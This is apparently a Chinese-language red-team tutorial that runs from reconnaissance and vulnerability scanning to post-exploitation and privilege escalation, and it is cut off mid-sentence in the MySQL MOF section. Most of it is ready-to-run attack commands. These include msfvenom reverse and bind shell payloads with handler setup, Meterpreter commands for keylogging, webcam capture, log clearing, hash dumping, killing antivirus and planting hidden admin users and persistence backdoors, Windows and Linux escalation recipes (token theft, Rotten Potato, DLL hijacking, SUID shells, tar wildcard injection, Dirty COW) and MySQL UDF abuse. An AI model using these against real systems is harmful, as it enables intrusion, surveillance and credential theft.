首先给出一个网站,该网站收录了各种红队渗透工具:
https://github.com/guchangan1/All-Defense-Tool
信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露
可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、API、小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。
下面介绍这些信息该如何收集
一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:
https://beian.miit.gov.cn
若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:
https://aiqicha.baidu.com(爱企查)
https://www.qcc.com(企查查)
https://www.tianyancha.com(天眼查)
域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等
tieba.baidu.com
↑ ↑ ↑
三级域名.二级域名.顶级域名
对于安全测试的意义:
子域名的获取方式有爆破,搜索,JS查找,证书查找,DNS搜索,OneForAll搜索
以下为常用爆破的工具:
子域名挖掘机:百度云链接: https://pan.baidu.com/s/1VQ2HLocs39B72ElysskPog 提取码:121l
ksubdomain:https://github.com/knownsec/ksubdomain
搜索主要是使用搜索引擎进行搜索,例如百度、谷歌、fofa、hunter、shodan、zoomeye
在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看
获得favicon.ico文件方法:
1. 直接在网站网址后面加favicon.ico
2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址
3. http://www.google.com/s2/favicons?domain=网站地址
以下为常用的google hack搜索语法:
site 指定域名
intext 正文中存在关键字的网页
intitle 标题中存在关键字的网页
info 一些基本信息
inurl URL存在关键字的网页
filetype 搜索指定文件类型
例子:
搜索子域名:site:baidu.com
在线搜索的网站有:
https://rapiddns.io/subdomain
https://phpinfo.me/domain/
http://whois.chinaz.com/(whois查询)
JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。
查询HTTPS证书能查询到子域名
https://crt.sh/
查询DNS能查询到该域下的解析记录,从而有可能获得子域名
https://dnsdb.io/zh-cn/
在kali里可以使用dig
命令进行DNS查询,具体用法:
https://blog.csdn.net/weixin_44617541/article/details/124328099
OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大
https://github.com/shmilylty/OneForAll
获得一个网站的真实IP是极其重要的,原因如下:
1. IP能使用NMAP扫描出更多的端口
2. 扫描IP地址为扫描网站的上一级文件夹
3. 很多网站在其上一级有可能有该网站的源码备份
一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段
获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否
在CMD
里使用ping
命令就能获得真实IP
ping
目标网站端口的范围是从0到65535,其中端口分为3大类:
1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议
2. 注册端口:从1024到49151,这些端口松散绑定一下服务
3. 动态端口:从49152到65535,这些端口并不常用
端口收集常使用nmap来进行探测,以下为快速扫描指令:
nmap -sS -Pn -open -T4
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4
nmap具体指令介绍
其他扫描工具有御剑高速TCP端口扫描工具、masscan、Goby
也可以使用在线的方式探测端口:
http://coolaf.com/tool/port
https://saomiao.bmcx.com/
https://tool.chinaz.com/port/www.gdsslxh.org.cn
中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、tomcat、nginx、thinkphp、structs2等
通常使用AlliN、Glass、EHole、dismap等工具进行查看
也可以通过观察网站的后缀进行判断,比如.net.php.asp
后缀的网站的中间件一般为IIS
CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。
在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。
以下网站能查看ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码安全问题
https://websec.readthedocs.io/zh/latest/language/index.html
以下为识别方法:
在一些网站的最下面会有CMS的名字
访问CMS的特定路径查看是否能访问来判断CMS
使用kali中的whatweb
命令进行扫描
使用浏览器中的wappalyzer
插件进行查看
使用御剑WEB指纹识别系统来进行扫描
下载网站的ico文件查看(即favicon.ico文件)
使用AlliN、Glass、EHole、dismap等工具进行查看
使用在线网站进行查看,如:
https://www.yunsee.cn/
http://whatweb.bugscaner.com/(云悉)
若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。
常见的服务器系统为windows与linux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。
以下为分辨的方法:
为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows
根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在CMD
中PING
目标网站查看):
WINDOWS NT/2000 TTL:128
WINDOWS 95/98 TTL:32
UNIX TTL:255
LINUX TTL:64
WIN7 TTL:64
使用nmap
命令的-O
参数来进行探测
数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:
根据网站的文件来识别:
asp access
php mysql
aspx mssql
jsp mssql,oracle
python mogodb
通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver
使用nmap指令进行探测端口,根据端口号来判断:
mysql 3306
mssql 1433
oracle 1511
mongodb 27017
redis 6379
memcached 11211
通过nmap -O -sV ip地址
的方式扫描能获得apache和php和mysql版本
目录作为网站的基本结构之一,能方便浏览者和管理者区分。
通常能用Charles工具、dirsearch、JSFinder工具、御剑目录扫描专业版进行目录扫描
WAF为WEB应用防护系统,用于隔离外界的非法请求
有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等
识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描
以下为识别WAF的方法:
X-Powered-By
泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露
SVN是源代码版本管理软件。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
在服务器上布署代码时,如果是使用 svn checkout
功能来更新代码,项目目录下会生成隐藏的.svn
文件夹(Linux上用ls
命令看不到,要用ls -al
命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。
使用dvcs-ripper工具能对网站扫描SVN
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
使用dvcs-ripper)工具能对网站扫描HG
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git
文件夹直接部署到线上环境。这就引起了git泄露漏洞。
dirsearch工具扫描目录后有可能扫出.git
目录,之后使用GitHack工具能获取该文件
常见的网站源码备份文件后缀
tar
tar.gz
zip
rar
常见的网站源码备份文件名
web
website
backup
back
www
wwwroot
Temp
可以使用7kbscan扫描
bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。
常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”
访问隐藏文件时前面加"."
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。
在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞
最常用的扫描器有Xray、awvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)
https://github.com/binganao/vulns-2022
https://github.com/helloexp/0day
https://github.com/helloexp/vulhub
https://github.com/helloexp/CVE-Exploits
https://github.com/UzJu/0day
https://github.com/faisalfs10x/CVE-IDs
https://github.com/YinWC/2021hvv_vul
https://github.com/dingxiao77/redteam_vul
https://github.com/BaizeSec/bylibrary/tree/main/docs/%E6%BC%8F%E6%B4%9E%E5%BA%93
https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
https://forum.ywhack.com/bountytips.php?Vulnerability
https://github.com/r0eXpeR/supplier
https://my.oschina.net/u/4354006/blog/3322916
https://github.com/projectdiscovery/nuclei-templates
https://github.com/DawnFlame/POChouse
peiqi漏洞库
使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹SHELL,下面会详细介绍这些攻击。
在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。
弱口令爆破的工具主要有超级弱口令检查工具,burpsuite的Intruder模块,Hydra(kali自带)
爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典
对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:
SQL注入的分类方式如下:
按变量类型分
按HTTP提交方式分
按注入方式分
报错注入
盲注
union注入
SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。
另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式
--os-shell
参数进行getshell
下面将详细介绍这些注入方式。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()
的报错信息
报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()
和group by
同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。
报错注入主要利用的函数是floor()
、extractvalue()
、updatexml()
concat区别
concat()
concat(str1, str2,...)
concat_ws()
concat_ws(separator, str1, str2, ...)
Group_concat()
group by
产生的同一个分组中的值连接起来,返回一个字符串结果。group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
count()
、rand()
、floor()
、group by
这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by
冲突报错。GROUP BY
分组,产生主键冗余,导致报错。floor
向下取整数—如2.5取整数为2
命令
含义
chcp 65001
解决乱码问题
ps
查看目标机进程
kill 2312
关闭pid为2312的进程
run vnc
监控目标机桌面
screenshot
截取目标机屏幕
screenshare
实时观看目标机屏幕
shell
进入目标机的命令终端
webcam_list
列举摄像头
webcam_snap
通过远程连接目标系统的摄像头
clearev
清除日志
getsystem
提升权限
hashdump
获取密码hash值
keyscan_start
打开记录键盘
keyscan_dump
记录键盘
keyscan_stop
关闭记录键盘
uictl disable keyboard/mouse
禁用键盘/鼠标
uictl enable keyboard/mouse
启用键盘/鼠标制权
show targets
查看该模块适用系统
show options
查看设置
getsystem
提权
upload a.exe c:/
上传文件到c:/
download c:\a.exe /root/
下载文件到root目录
run killav
关闭对方的杀毒软件
net user admin 123456 /add
新建一个用户名admin 密码123456的用户
net user admin$ 123456 /add
创建一个隐藏用户
net localgroug administrators admin /add
加入管理员权限
run persistence -X -i 5 -p 8888 -r 192.168.1.11
生成一个持续性后门
explorer.exe ::{645FF040-5081-101B-9F08-00AA002F954E}
打开回收站
`dir c:\ d:\ e:\ /s /b
find “password.txt”`
linux
反向:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.36.129 LPORT=1111 -f elf >t1.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.36.129
set LPORT 1111
正向:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 2.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
window
反向
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.121 lport=5000 -f exe -o /root/payload.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 5000
exploit
正向:
msfvenom -p windows/meterpreter/bind_tcp lport=5000 -f exe -o /home/css/桌面/payload.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.22.128
set lport 5000
exploit
权限提升
在使用渗透攻击后若是能成功以低权限进入服务器后,将权限拥有范围提升至管理员甚至是系统权限的攻击方法。
通常网站是以低权限运行,以此来防止受到入侵后入侵者对服务器进行更大范围攻击。
权限提升的对象分为数据库、window、llinux,下面详细介绍权限提升方法
window
信息收集
权限划分
Windows中权限指的是不同账户文件、文件夹、注册表等的访问能力。一般我们常用的权限分为普通账户权限、管理员账户权限和system账户权限。
普通账户权限
优点:
1.权限最小化原则,确保用户资源得到最大保障;
2.普通权限程序支持任意账户登录的开机自启动;
缺点:
1. 启动以管理员权限启动的程序时,会弹出用户账户控制(UAC)弹窗;
2. 无法访问服务列表,判断服务程序有没有启动;
3. 无法修改或删除Program Files等管理员权限路径下的文件,仅能查看;
4. 程序无法删掉以管理员权限运行的进程;
管理员权限
优点:
1. 可以访问服务列表,运行服务程序;
2. 可正常修改或删除访问Program Files等管理员权限路径下所有文件;
3. 可以启动普通权限运行的程序并赋予管理员权限;
缺点:
1. 普通账户登录的系统,无法开机自启动;
2. 程序无法杀掉system权限运行的进程;
system权限
优点:
1. 程序以windows服务托管运行,支持开机自启动;
2. 可以以用户登录账户权限或system权限启动动外部程序;
缺点:
1. system权限获取桌面路径、appdata路径时,默认访问的是system相关路径,不是当前桌面路径;
2. 程序不是在主线程中运行(很难理解)
3. 弹出选择路径弹窗时,会报错或者无法选择桌面路径;
4. 无法打开系统默认浏览器、文本编辑器等,因为程序运行权限超过系统登录账户范畴;
信息收集命令
以下命令可以对系统进行信息收集,由此来决定提权方式
命令
描述
systeminfo
打印系统信息
whoami
获得当前用户名
whoami /priv
当前账户权限
ipconfig
网络配置信息
ipconfig /displaydns
显示DNS缓存
route print
打印出路由表
arp -a
打印arp表
hostname
主机名
net user
列出用户
net user UserName
关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName
连接SMB
net localgroup
列出所有组
net localgroup GROUP
关于指定组的信息
net view \127.0.0.1
会话打开到当前计算机
net session
开放给其他机器
netsh firewall show config
显示防火墙配置
DRIVERQUERY
列出安装的驱动
tasklist /svc
列出启动的服务
dir /s foo
在目录中搜索指定字符的项目
dir /s too==bar
同上
net start
列出启动的服务
sc query
列出所有服务
sc qc ServiceName
找到指定服务的路径
shutdown /r /t 0
立即重启
type file.txt
打印出内容
icacls “C\Example”
列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”)
利用ps远程下载文件到本地
accesschk.exe -qwsu “Group”
修改对象(尝试Everyone,Authenticated Users和/或users)
工具收集
常用工具有:
-
vulmap
-
windows和Linux都适用,Linux需要Python
-
只能在powershell里面使用,对于Web提权,不能使用powershell
-
Windows Exploit Suggester(主要在Web提权)
-
windowsVulnScan
-
wesng
-
windows-kernel-exploits(该网站收集了windows相关的exp)
系统溢出
该提权方式是利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe
文件
流程:
- 创建一个账户
- 将该账户加入到Guests组
- 切换到该用户
- 执行
CVE-2020-0787
本地提权漏洞中的BitsArbitraryFileMoveExploit.exe
文件
at提权
at命令提权主要针对win7
与win7
之前的操作系统,
在win7
之后的操作系统弃用该命令
流程:
- 用
at
命令给系统添加一项作业,作业为在某一时间打开cmd
- 在到达时间后系统打开的
cmd
权限是system
sc提权
流程:
-
使用sc
命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):
sc Create syscmd binPath= "cmd /K start" type= own type= interact
-
启动这个服务:sc start syscmd
,打开的cmd
权限是system
ps提权
ps指pstools,是微软官方工具,是为windows提供的第三方工具库
执行命令:
psexec.exe -accepteula -s -i -d cmd.exe
令牌窃取
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
条件:windows2008和之前的系统
流程:
-
MSF已经连接入靶机,进入incognito
模块查看当前服务器的令牌
use incognito
list_tokens -u
-
用以下命令进行令牌窃取
impersonate_token "NT AUTHORITY\SYSTEM" \\impersonate_token "机器名\\用户名"
incognito
模块能够查看的令牌类型:
Delegation Token
:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token
:模拟令牌,它是非交互的会话。
进程注入
进程注入提权是本地提权方式的一种较为老的安全技术
原理是注入进程的所有者实现权限共享机制
这类技术主要利用在 windows2008 之前操作系统上
pinjector进程注入工具(下载要VPN挂全局)
- 针对win2008以前的操作系统
- 能将pinjector注入到用户的进程里一起运行,进而同时拥有了对应的权限
- 是一种比较隐蔽的手段,不会创建新的进程,很难发现,但是上传至目标主机时可能会报毒
流程:
-
使用下面列出进程,列出的所有进程都可以利用(找system对应权限的进程)
Pinjector.exe -l
-
使用下面命令进行进程注入
pinjector.exe -p 456 cmd 5959 //456为PID,5959为监听端口
-
使用nc命令连接监听端口
nc -nv 192.168.8.10 5959
烂土豆
烂土豆提权是MS16-075(CVE漏洞编号:CVE-2016-3225),是一个本地提权,只能针对本地用户,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别
原理:
- 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
目标:
- 只针对本地用户
- 适用于window7、8、10,window server2008、2012
流程:
-
将烂土豆上传到靶机
-
msf执行烂土豆
execute -cH -f ./potato.exe
-
令牌窃取(上面的步骤)
DLL 劫持
原理:Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。
dll 劫持提权需要特定软件应用的控制权限及启用配合
通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:
- 应用程序加载的目录;
- C:\Windows\System32;
- C:\Windows\System;
- C:\Windows;
- 当前工作目录 Current Working Directory,CWD;
- 在 PATH 环境变量的目录(先系统后用户)
流程:
- 信息收集(服务器上的第三方程序的信息)
- 进程调试(分析这个程序在运行的时候调用了那些dll)
- 可以使用火绒剑进行分析
- 制作 dll 并上传(制作后门dll去替换原有的dll)
- 替换 dll
- 启动msf进行监听
- 启动应用
- 令牌窃取(结合上面的步骤)
不带引号服务路径
该提权方法多用于本地提权,能用于window server2012
当Windows服务运行时,会发生以下两种情况的其中一种
- 给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行
- 服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例
对如c:\program files (x86)\grasssoft\macro expert\MacroService.exe
这条路径,系统会按照以下顺序执行:
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
可以使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
不安全的服务权限
服务是操作系统的核心,经常以特权访问的方式运行,因为它们可能需要访问操作系统中受限的文件、注册表键等来执行任务。
由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
该提权只适用于本地提权
过程:
-
使用AccessChk工具查看当前用户是否可以修改某个服务目录中的文件
accesschk.exe -uwcqv "Administrators" *
-
可以选择创建一个服务,也可以选择本来的服务,将该服务的binpath改为上传的木马文件路径
sc config "AppReadiness" binpath="C:\shell.exe"
-
配合msf就能得到system权限
linux
信息收集
可以用手动命令收集与自动脚本收集
手动命令收集
-
获取内核,操作系统和设备信息
- 所有版本uname -a
- 内核版本信息uname -r
- 系统主机名字uname -n
- 内核架构 uname -m Linux
- 内核信息 cat /proc/version
- CPU信息 cat /proc/cpuinfo
- 发布信息
- cat /etc/*-release
- cat /etc/issue
- 主机名 hostname
- 文件系统 df -a
-
用户和组
-
列出系统所有用户 cat /etc/passwd
-
列出系统所有组 cat /etc/group
-
列出所有用户密码(加密)cat /etc/shadow
-
查询用户的基本信息 finger
-
当前登录的用户 users who -a
-
目前登录的用户 w
-
登入过的用户信息 last
-
显示系统中所有用户最近一次登录信息 lastlog
-
用户和权限信息
-
当前用户 whoami
-
当前用户信息 id
-
可以使用sudo提升到root的用户(root) cat /etc/sudoers
-
列出目前用户可执行与无法执行的指令 sudo -l
-
环境信息
-
打印系统环境信息 env
-
打印系统环境信息 set
-
环境变量中的路径信息 echo $PATH
-
打印历史命令 history
-
显示当前路径 pwd
-
显示默认系统遍历 cat /etc/profile
-
显示可用的shell cat /etc/shells
-
服务信息
-
查看进程信息 ps aux
-
由inetd管理的服务列表 cat /etc/inetd.conf
-
由xinetd管理的服务列表 cat /etc/xinetd.conf
-
nfs服务器的配置 cat /etc/exports
-
作业和任务
-
显示指定用户的计划作业(root) crontab -l -u %user%
-
计划任务 ls -la /etc/cron*
-
网络、路由和通信
-
列出网络接口信息 /sbin/ifconfig -a
-
列出网络接口信息 cat /etc/network/interfaces
-
查看系统arp表 arp -a
-
打印路由信息 route
-
查看dns配置信息 cat /etc/resolv.conf
-
打印本地端口开放信息 netstat -an
-
列出iptable的配置规则 iptables -L
-
查看端口服务映射 cat /etc/services
自动脚本收集
信息收集脚本:LinEnum、linuxprivchecker
漏洞探针脚本:linux-exploit-suggester、linux-exploit-suggester2
将脚本上传到服务器运行即可
SUID提权
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
设置SUID权限
-
原本文件权限为
-rwx--x--x 1 css css 80 7月 25 03:41 1.php
-
使用chmod u+s 1.php
命令后,文件权限变为
-rws--x--x 1 css css 80 7月 25 03:41 1.php
-
可见权限中的x
变为s
可以用suid提权的文件有:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
以下命令可以查找系统上所有suid可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
提权流程:
我们首先查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/ntfs-3g
发现find信息,利用find提权执行命令
└─$ /usr/bin/find /etc/opt -exec whoami \;
root
在执行命令,提取成功。
└─$ find /etc/passwd -exec /bin/bash -p \;
bash-5.1#
vi提权
(1)在末行模式输入(即最后输入保存命令的地方)
:set shell=/bin/bash
:shell
(2)之后会退出vi,在shell中输入
export PATH=$PATH:/bin
Git提权
在shell输入:
sudo git -p help config
!/bin/sh
或者
sudo git -p help
!/bin/bash
内核提权
内核提权著名的有脏牛漏洞
脏牛漏洞即CVE-2016-5195,在Linux内核中隐藏了十年之久
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
exp下载:https://github.com/gbonacini/CVE-2016-5195
https://www.exploit-db.com/download/40611
编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
本地环境变量
该提权方式能实现的前提是有系统命令有suid权限
流程:
-
查找suid文件
find / -perm -u=s -type f 2>/dev/null
-
假设ps
命令与demo
文件有suid
权限,并且demo
文件中有执行ps
命令的代码,进入/bin
目录将sh
复制到/tmp
目录下并改名为ps
cp /bin/sh /tmp/ps
-
将/tmp设置为环境变量
export PATH=/tmp:$PATH
-
执行demo
文件后可以进入root
权限的sh
本地定时任务
该提权有3种方式,分别为路径、命令、权限
路径问题
前提:root
有计划任务test.sh
,并且计划没有写绝对路径
计划任务默认调用路径为/usr/local/bin
可以将/bin
目录的bash
移动到/tmp
里,然后赋予suid
权限与test.sh
执行权限
接下来等待test.sh
执行即可
命令问题
前提:root
有计划任务打包备份文件,且该计划打包备份文件夹中所有文件
创建打包备份脚本
echo 'cd /home/css/.php;tar czf /tmp/backup.tar.gz *' >backup.sh
chmod +x backup.sh
参数- czf
的含义:将目录里所有文件打包成.tar
后,并且将其用gzip
压缩,生成一个gzip压缩过的包,命名为backup.tar.gz
流程:
-
在要打包的目录下创建三个文件:
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/css/.pip/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
-
等待计划任务进行打包备份即可
原理:
-
定时任务打包时使用了将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给执行打包操作。
-
前几个文件都没问题,但是当打包到--checkpoint=1
文件和--checkpoint-action=exec=sh test.sh
文件时,执行的相当于
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
-
--checkpoint
、--checkpoint-action
正好是tar
命令的参数
-
--checkpoint-action=exec=sh test.sh
相当于执行sh
,从输入流调用shell
,然后再sh
里面执行test.sh
,而test.sh是将bash
复制到/tmp目录,因此这里的bash
有suid
权限(相当于root
执行chmod +s /tmp/bash)
权限问题
前提:管理员对一个文件设置777权限:chmod 777 test.sh
正常赋权为chmod +x test.sh
(所有人都能执行)
更安全赋权为chmod u+x test.sh
(只有创建用户才能执行)
若是发现777权限脚本,能进行覆写操作,将脚本代码改为:
cp bin/bash /tmp/bash;chmod +s /tmp/bash
执行后就能到/tmp
文件里获得bash
数据库
信息收集
- 使用nmap探测端口来判断网站使用的数据库
- 若是获得网站数据库配置文件,可查看MYD表的内容来获取数据库密码
除 Access 数据库外,其他数据库基本都存在数据库提权的可能。
mysql
UDF
UDF全称是User Defined Function用户自定义函数,用于支持用户自定义函数,方便用户查询一些复杂的数据
提权工具有手动与工具
手动提权
-
查询数据库版本与安装位置(可以通过冰蝎提供的数据库查询功能来查看)
-
查询secure_file_priv
的值(命令:show VARIABLES like '%secure_file_priv%'
)
-
secure_file_priv
的值为NULL
,表示限制 mysqld 不允许导入|导出,此时无法提权
-
secure_file_priv
的值为/tmp/
,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
-
secure_file_priv
的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
-
secure_file_priv
可以在mysql的配置文件[my.ini]
里面修改,但是重启数据库才能生效
-
使用以下命令在数据库目录下创建plugin目录:
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
-
mysql<5.1 导出目录 c:/windows
或 system32
-
mysql=>5.1 导出安装目录mysql/lib/plugin/
-
在plugin目录内创建编写或者上传写好自定义函数的udf.dll
文件
-
在连接工具里使用以下命令写入数据库中(按照实际情况修改):
select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';
或者
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-
接下来就能调用udf.dll
文件内的函数了
工具提权
能使用的工具有大马与暗月
大马需要手动创建目录并导入(跟手动的流程差不多),暗月则是自动创建(网页打开就能运行)
MOF
- mof是windows系统的一个文件(在
c:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式"
- 该文件的作用是每隔五秒就会去监控进程创建和死亡,就是说每隔一段时间系统会用系统权限执行该文件
- MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
- 使用MOF提权的前提
